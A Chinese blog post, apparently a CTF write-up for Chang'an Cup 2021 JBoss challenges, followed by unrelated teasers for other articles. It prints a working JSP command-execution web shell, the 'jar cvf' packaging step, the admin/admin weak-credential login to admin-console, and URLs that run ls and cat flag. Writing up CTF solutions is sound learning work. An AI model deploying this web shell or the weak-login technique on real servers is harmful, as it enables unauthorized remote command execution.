CTF_Web：长安杯-2021 Old But A Little New & as

nifhlheimr 发布于2021-09-27 13:34 / 918人阅读

摘要：后面的等等连接都在的官网，与本题没有关系。弱口令登录第一个路径，管理员控制台可以直接使用的弱口令登录，在后台中找到部署包的地方上传。系列的题目，与上一个相同的解法，用同一个包即可。

0x00 Old But A Little New

两个JBoss题目几乎一模一样，解法也相同，题目只考一个内容，就是Jboss后台上传war包getshell。
首先是一个jboss页面。
后面的wiki等等连接都在jboss的官网，与本题没有关系。

0x01 弱口令登录

第一个路径admin-console，管理员控制台可以直接使用admin、admin的弱口令登录，在后台中找到部署war包的地方上传。（这里的shell.war是已经上传好的）

0x02 上传war包getshell

在这里使用的是TsengYUen师傅的回显jsp一句话，然后使用命令打包。

jar cvf shell.war 1.jsp

一句话的内容为：

<%   if("023".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("
");    }%>

部署成功后查看自己的war包：
路径为/shell/1.asp
网页连接列目录

http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=ls

直接cat flag即可。

http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=cat%20flag

0x03 asuka

JBoss系列的题目，与上一个JBoss相同的解法，用同一个war包即可。命令执行获取flag

文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。

转载请注明本文地址：https://www.ucloud.cn/yun/121217.html

【python】python2.7源码安装遇到的问题&&解决

摘要：解决原因参考错误信息如下示解决在下，可以安装这些依赖包，，，，，，，。完成这些安装之后，可以再次编译。 1、Error_Info 1: INFO: Cant locate Tcl/Tk libs and/or headers 1.1 解决 yum install tcl-devel yum install tk-devel 1.2 原因参考：You may have to insta...

刘福 2019-07-31 10:51 评论0 收藏0
python如何采集天气数据并做数据可视化操作呢？

　　小编写这篇文章的主要目的，主要是给大家去做出一个解答，解答的是关于python的一些事情，解答的内容包括如何使用python去进行采集，采集的内容主要是天气数据，但是数据内容还是比较的多的，采集完成之后，怎么去做可视化操作呢？下面给大家解答。　　前言　　最近天气好像有了点小脾气，总是在万分晴朗得时候耍点小性子~　　阴会天，下上一会的雨~提醒我们时刻记得带伞哦，不然会被雨淋或者被太阳公公晒到??...

89542767 2022-11-11 11:07 评论0 收藏0
percona-toolkit工具集使用教程（pt工具）

一、percona-toolkit工具集安装与介绍percona-toolkit是一组高级命令行工具的集合，可以查看当前服务的摘要信息，磁盘检测，分析慢查询日志，查找重复索引，实现表同步等等。这个工具套件对DBA及运维人员着实不可多得。官网地址：https://www.percona.com/doc/percona-toolkit/3.0/index.html#安装perl模块 yuminsta...

社区管理员 2022-10-18 11:52 评论0 收藏0
Python如何推导处理数据

　　小编写这篇文章的主要目的，就是给大家介绍下关于如何使用Python处理推导数据的方式，下面给大家贴出具体的代码，大家要进行仔细的阅读哦。　　前言　　推导式是一种独特的数据处理方式，可以快速的从一个数据序列构建另一个新的数据序列的结构体。常用的推导式有一下四种：　　列表推导式　　元组推导式　　集合推导式　　字典推导式　　1、列表推导式　#coding:utf-8 　　#Author:YangXi...

89542767 2022-09-21 14:06 评论0 收藏0
PIGYun：“8月夏末&#8221;限时活动,香港60M大带宽vps仅19元;韩国首尔CN

pigyun怎么样?PIGYun开展了8月夏末限时活动，PIGYunData成立于2019年，PIGYun主营香港CN2线路、韩国cn2线路、美西CUVIP-9929、GIA等线路优质IaaS服务。目前,香港60M大带宽vps仅19元;美西GIA混AS9929仅15元;韩国首尔CN2大带宽30M,混合BGP低至15.4元/月。点击进入：PIGYun官方网站地址pigyun优惠码：8折优惠码：PIG...

番茄西红柿 2021-08-09 13:31 评论0 收藏2637